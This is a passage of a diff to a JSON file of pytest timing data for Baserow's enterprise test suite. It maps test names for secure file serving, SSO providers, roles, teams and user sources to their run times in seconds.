"baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_staff_user_outside_own_workspace": 0.27781358399988676, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_staff_user_within_own_workspace": 0.15041816699977062, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_disabled_permission_check": 0.009073250000255939, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_signed_in_with_anonymous": 0.008734000000004016, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_signed_in_with_authenticated": 0.13748716800091643, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_workspace_with_anonymous": 0.009922582999934093, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_workspace_with_valid_user": 0.14204699999936565, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_workspace_wrong_workspace": 0.2681277499996213, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_get_file_name": 0.007735667000815738, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_get_file_path_does_not_exist": 0.008141251002598437, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_get_file_path_exists": 0.008049584999753279, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_unsign_data_expired_payload": 0.008011875999727636, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_unsign_data_invalid_payload": 0.008149667000907357, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_unsign_valid_data": 0.008574208002755768, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[facebook-extra_params1]": 0.010081624000122247, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[github-extra_params2]": 0.010507166999559558, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[gitlab-extra_params3]": 0.010302374999810127, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[google-extra_params0]": 0.010653708999598166, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[openid_connect-extra_params4]": 0.010120417000507587, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[facebook-extra_params1]": 0.015159040999606077, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[github-extra_params2]": 0.015672541000640194, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[gitlab-extra_params3]": 0.015569290998428187, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[google-extra_params0]": 0.017433791998882953, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[openid_connect-extra_params4]": 0.014620249001382035, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[facebook-extra_params1]": 0.011259249999966414, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[github-extra_params2]": 0.010596166000141238, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[gitlab-extra_params3]": 0.010690416999750596, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[google-extra_params0]": 0.012284207999982755, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[openid_connect-extra_params4]": 0.011291915999208868, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[facebook-extra_params1]": 0.010929791999842564, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[github-extra_params2]": 0.011189417000423418, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[gitlab-extra_params3]": 0.011332166000102006, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[google-extra_params0]": 0.010961416000100144, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[openid_connect-extra_params4]": 0.014290875000369851, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[facebook-extra_params1]": 0.01091774999986228, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[github-extra_params2]": 0.010688666000532976, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[gitlab-extra_params3]": 0.010209957999904873, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[google-extra_params0]": 0.010961416999634821, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_with_duplicate": 0.7922916260140482, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_token_generation": 0.4396056670229882, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_doesnt_exist": 0.2963521239871625, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_id_mismatch": 0.32383270797436126, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_autonumber_field]": 0.30582416598917916, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_boolean_field]": 0.28990249894559383, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_created_by_field]": 0.28250520798610523, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_created_on_field]": 0.2923704159911722, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_date_field]": 0.298557248985162, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_duration_field]": 0.2927206240128726, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_email_field]": 0.30648854200262576, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_file_field]": 0.28507429201272316, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_last_modified_by_field]": 0.2869410830317065, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_last_modified_field]": 0.2835195829975419, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_link_row_field]": 0.30485866602975875, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_long_text_field]": 0.3077274590032175, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_lookup_field]": 0.30164112502825446, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_multiple_collaborators_field]": 0.3021624580142088, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_multiple_select_field]": 0.3079279579978902, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_number_field]": 0.29284841602202505, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_password_field]": 0.29033037601038814, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_phone_number_field]": 0.30666145801660605, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_rating_field]": 0.29744049900909886, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_url_field]": 0.30616537600872107, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_uuid_field]": 0.302916084008757, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_no_table_to_check": 0.7818590000097174, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_empty_values_if_role_field_id_is_none[create_formula_field]": 0.3383851670078002, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_empty_values_if_role_field_id_is_none[create_single_select_field]": 0.33563366800080985, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_empty_values_if_role_field_id_is_none[create_text_field]": 0.3410774579679128, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_values[create_formula_field]": 0.3090110009943601, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_values[create_single_select_field]": 0.29475254099816084, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_values[create_text_field]": 0.3044829170103185, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_sets_role_field_to_none": 0.31890520901652053, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_public_dispatch_data_source_with_ab_user_using_user_source": 0.6603738330013584, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[CreatedByField-False]": 0.7488080839975737, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[CreatedOnField-False]": 0.773842207971029, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[DateField-False]": 0.7828394169919193, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[DurationField-False]": 0.7778337920026388, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[FileField-False]": 0.7855423750297632, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[FormulaField-True]": 0.7628248739929404, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[LastModifiedByField-False]": 0.775123374973191, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[LastModifiedField-False]": 0.799601790989982, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[LinkRowField-False]": 0.789816874981625, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[None-False]": 0.7600804590038024, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[PasswordField-False]": 0.7330206659680698, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[PhoneNumberField-False]": 0.7584785410144832, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[RatingField-False]": 0.7638656250201166, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[SingleSelectField-True]": 0.7967485839908477, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[TextField-True]": 0.7718181250093039, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_role_type_is_allowed[URLField-False]": 0.7994683330180123, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_trigger_user_count_update_on_properties_requiring_user_recount_update": 0.6883565000025555, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_update_user_count_with_configured_user_sources": 0.590493249008432, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_update_user_count_with_misconfigured_user_sources": 0.5230243330006488, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_user_source_create_user": 0.485435625014361, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_user_source_create_user_w_role": 0.5093771239626221, + "baserow_enterprise_tests/role/test_core_handler_operations.py::test_viewer_and_up_can_reoder_applications_in_workspace": 0.21522424998693168, + "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_assignment_created": 0.4027821240015328, + "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_assignment_deleted": 0.3850947910104878, + "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_assignment_updated": 0.3838236239971593, + "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_many_users": 1.839930624992121, + "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_team_restored": 0.3779987900343258, + "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_team_trashed": 0.4057460420008283, + "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_workspace_level_permissions_updated": 0.382371209008852, + "baserow_enterprise_tests/role/test_role_actions.py::test_batch_assign_role_description_for_one_item": 0.28470770802232437, + "baserow_enterprise_tests/role/test_role_actions.py::test_can_redo_batch_assign_role": 0.4039910829742439, + "baserow_enterprise_tests/role/test_role_actions.py::test_can_undo_batch_assign_role": 0.37163304202840663, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role": 0.3924238319741562, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_create_role_assignments": 0.20366712502436712, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_delete_role_assignments": 0.21309195799403824, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_delete_workspace_user": 0.21339316701050848, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_performance": 9.470898658037186e-05, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_subject_not_in_workspace": 0.18477316599455662, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_unrelated_workspace": 0.5837685000151396, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_update_role_assignments": 0.2160486250068061, + "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_workspace_level": 0.20460795803228393, + "baserow_enterprise_tests/role/test_role_handler.py::test_check_get_role_per_scope_performance": 0.00010054197628051043, + "baserow_enterprise_tests/role/test_role_handler.py::test_create_role_assignment": 0.21481462501105852, + "baserow_enterprise_tests/role/test_role_handler.py::test_create_role_assignment_unique_constraint": 0.10744170797988772, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_current_role_assignment": 0.15147066602366976, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_current_role_assignments": 0.30968037302955054, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_assignments": 0.19667791496613063, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_assignments_invalid_workspace_and_scope_combination": 0.1897459999890998, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_assignments_trashed_teams": 0.11879329103976488, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_per_scope_for_actors_perf": 9.566600783728063e-05, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_per_scope_per_actors": 0.42864437599200755, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_roles_per_scope": 0.6844040419964585, + "baserow_enterprise_tests/role/test_role_handler.py::test_get_roles_per_scope_trashed_teams": 0.12702537499717437, + "baserow_enterprise_tests/role/test_role_handler.py::test_remove_role": 0.14798029098892584, + "baserow_enterprise_tests/role/test_role_handler.py::test_snapshot_with_roles_doesnt_cause_get_permission_objects": 0.3528681259776931, + "baserow_enterprise_tests/role/test_role_member_data_type.py::test_roles_member_data_type": 1.138354791997699, + "baserow_enterprise_tests/role/test_role_member_data_type.py::test_roles_member_data_type_doesnt_expose_to_users_without_read_role": 1.1407441660412587, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_all_operations_are_in_at_least_one_default_role": 0.032715957990149036, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_multiple_permissions": 0.43503904301906005, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_multiple_permissions_perf": 8.554200758226216e-05, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_permission_performance": 0.00010479197953827679, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_permissions": 1.89007120806491, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_permissions_with_teams": 0.42641320900293067, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_fetching_permissions_does_not_extra_queries_per_snapshot": 0.8537771660194267, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_filter_queryset": 1.8257381260045804, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object": 2.037231708993204, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object_performance": 0.00012083401088602841, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object_with_database_and_table_level_permissions": 1.4288032080221456, + "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object_with_teams": 1.0719778339844197, + "baserow_enterprise_tests/role/test_role_receivers.py::test_deletion_cascading_to_role_assignments": 1.162235249998048, + "baserow_enterprise_tests/role/test_role_receivers.py::test_send_permissions_updated_only_if_permissions_were_updated": 0.187832083000103, + "baserow_enterprise_tests/role/test_view_permissions.py::test_update_form_view_and_notification_as_editor_fails": 0.13615837498218752, + "baserow_enterprise_tests/role/test_view_permissions.py::test_update_form_view_as_editor_fails": 0.14065341700916179, + "baserow_enterprise_tests/role/test_view_permissions.py::test_update_form_view_notification_as_editor_succeeds": 0.14609762496547773, + "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_get_signed_file_path": 0.0129694169445429, + "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_sign_data": 0.013623709004605189, + "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_sign_data_with_workspace_id": 0.012844334036344662, + "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_unsign_data_with_invalid_payload": 0.013277916965307668, + "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_url": 0.013015540986089036, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_invalid_payload": 0.01275633298791945, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_non_existing_file": 0.017371958994772285, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_staff_user_no_workspace": 0.0887457080243621, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_staff_user_outside_own_workspace": 0.16929895896464586, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_staff_user_within_own_workspace": 0.09703858301509172, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_disabled_permission_check": 0.016650374978780746, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_signed_in_with_anonymous": 0.014707499998621643, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_signed_in_with_authenticated": 0.0883100830251351, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_workspace_with_anonymous": 0.017147584003396332, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_workspace_with_valid_user": 0.09435604204190895, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_valid_data_workspace_wrong_workspace": 0.16372745798435062, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_get_file_name": 0.012691542971879244, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_get_file_path_does_not_exist": 0.013025041000219062, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_get_file_path_exists": 0.012855126027716324, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_unsign_data_expired_payload": 0.013169000972993672, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_unsign_data_invalid_payload": 0.012923291011247784, + "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_unsign_valid_data": 0.01284999997005798, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[facebook-extra_params1]": 0.01845962504739873, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[github-extra_params2]": 0.01831091701751575, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[gitlab-extra_params3]": 0.01744525000685826, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[google-extra_params0]": 0.016916333028348163, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_authorization_url[openid_connect-extra_params4]": 0.017466582969063893, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[facebook-extra_params1]": 0.02362504301709123, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[github-extra_params2]": 0.0279002089810092, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[gitlab-extra_params3]": 0.02473545804969035, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[google-extra_params0]": 0.02710266600479372, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_login_options[openid_connect-extra_params4]": 0.027209958992898464, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[facebook-extra_params1]": 0.016839582967804745, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[github-extra_params2]": 0.016980917018372566, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[gitlab-extra_params3]": 0.016827209037728608, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[google-extra_params0]": 0.017229624994797632, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_oauth_token_and_response[openid_connect-extra_params4]": 0.018181374965934083, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[facebook-extra_params1]": 0.08114729198860005, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[github-extra_params2]": 0.08233624999411404, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[gitlab-extra_params3]": 0.07925904198782519, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[google-extra_params0]": 0.08307675004471093, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[openid_connect-extra_params4]": 0.08037379203597084, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info[openid_connect-extra_params5]": 0.08157179201953113, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[facebook-extra_params1]": 0.016183416970307007, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[github-extra_params2]": 0.01882070896681398, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[gitlab-extra_params3]": 0.01864683401072398, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[google-extra_params0]": 0.015670624998165295, "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_get_user_info_from_oauth_json_response[openid_connect-extra_params4]": 0.011496041998725559, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_openid_get_wellknown_urls": 5.277157795002495, - "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_push_pop_request_data_to_session": 0.008484001000397257, - "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_cannot_retrieve_saml_provider_from_invalid_mail": 0.0117927499986763, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_openid_get_wellknown_urls": 0.01348887401400134, + "baserow_enterprise_tests/sso/oauth2/test_auth_provider_types.py::test_push_pop_request_data_to_session": 0.012934501020936295, + "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_cannot_retrieve_saml_provider_from_invalid_mail": 0.015729750011814758, "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_get_user_info_from_authn_user_identity": 0.010695916999793553, - "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_need_valid_email_if_multiple_saml_providers": 0.013076916000500205, - "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_no_need_for_email_if_single_saml_provider": 0.010888708999118535, - "baserow_enterprise_tests/sso/saml/test_auth_provider_types.py::test_cannot_create_two_saml_providers_for_the_same_domain": 0.15124041699982627, - "baserow_enterprise_tests/sso/saml/test_auth_provider_types.py::test_get_login_options": 0.03168637599901558, - "baserow_enterprise_tests/sso/test_auth_provider_handler.py::test_get_or_create_user_from_sso_user_info": 0.04567395799949736, - "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects": 0.5096709160006867, - "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects_raise_on_missing_does_not_exist": 0.25866941700041934, - "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects_raise_on_missing_not_workspace_member": 0.5408399570005713, - "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects_specific_pk": 0.25722804199995153, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_by_email": 0.26929866699993, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_by_id": 0.26710812500004977, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_from_different_workspace_to_team": 0.2670292499997231, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_unknown_subject": 0.2716107509995709, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_unsupported_type": 0.131280833999881, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_with_unsupported_lookup": 0.2674609589994361, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_team": 0.2692529170008129, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_team_non_unique_name": 0.27368187499996566, - "baserow_enterprise_tests/teams/test_team_handler.py::test_create_team_with_subjects": 0.273384500001157, - "baserow_enterprise_tests/teams/test_team_handler.py::test_delete_team": 0.26817766599924653, - "baserow_enterprise_tests/teams/test_team_handler.py::test_list_subjects_in_team": 0.6671442079996268, - "baserow_enterprise_tests/teams/test_team_handler.py::test_list_teams_in_workspace": 0.29638162499941245, - "baserow_enterprise_tests/teams/test_team_handler.py::test_update_team": 0.26407308299894794, - "baserow_enterprise_tests/teams/test_team_handler.py::test_update_team_non_unique_name": 0.2642902910001794, - "baserow_enterprise_tests/teams/test_team_handler.py::test_update_team_subjects": 0.6104564580000442, - "baserow_enterprise_tests/teams/test_team_models.py::test_team_default_role_annotated": 0.27611266799976875, - "baserow_enterprise_tests/teams/test_team_models.py::test_team_default_role_not_annotated": 0.2692079589996865, - "baserow_enterprise_tests/teams/test_team_models.py::test_teamsubject_parent_team_trashable_model_mixin": 0.26923029199952, - "baserow_enterprise_tests/teams/test_team_receivers.py::test_delete_team_does_not_call_receiver_cascade_subject_delete": 0.015279208000720246, - "baserow_enterprise_tests/teams/test_team_receivers.py::test_delete_user_cascades_to_teamsubject": 0.15668800000003102, - "baserow_enterprise_tests/teams/test_team_receivers.py::test_delete_workspaceuser_cascades_to_teamsubject": 0.1517934179992153, - "baserow_enterprise_tests/teams/test_team_subject_type.py::test_team_subject_get_users_included_in_subject": 0.27831700000024284, - "baserow_enterprise_tests/teams/test_team_subject_type.py::test_team_subject_type_is_in_workspace": 0.016001457999664126, - 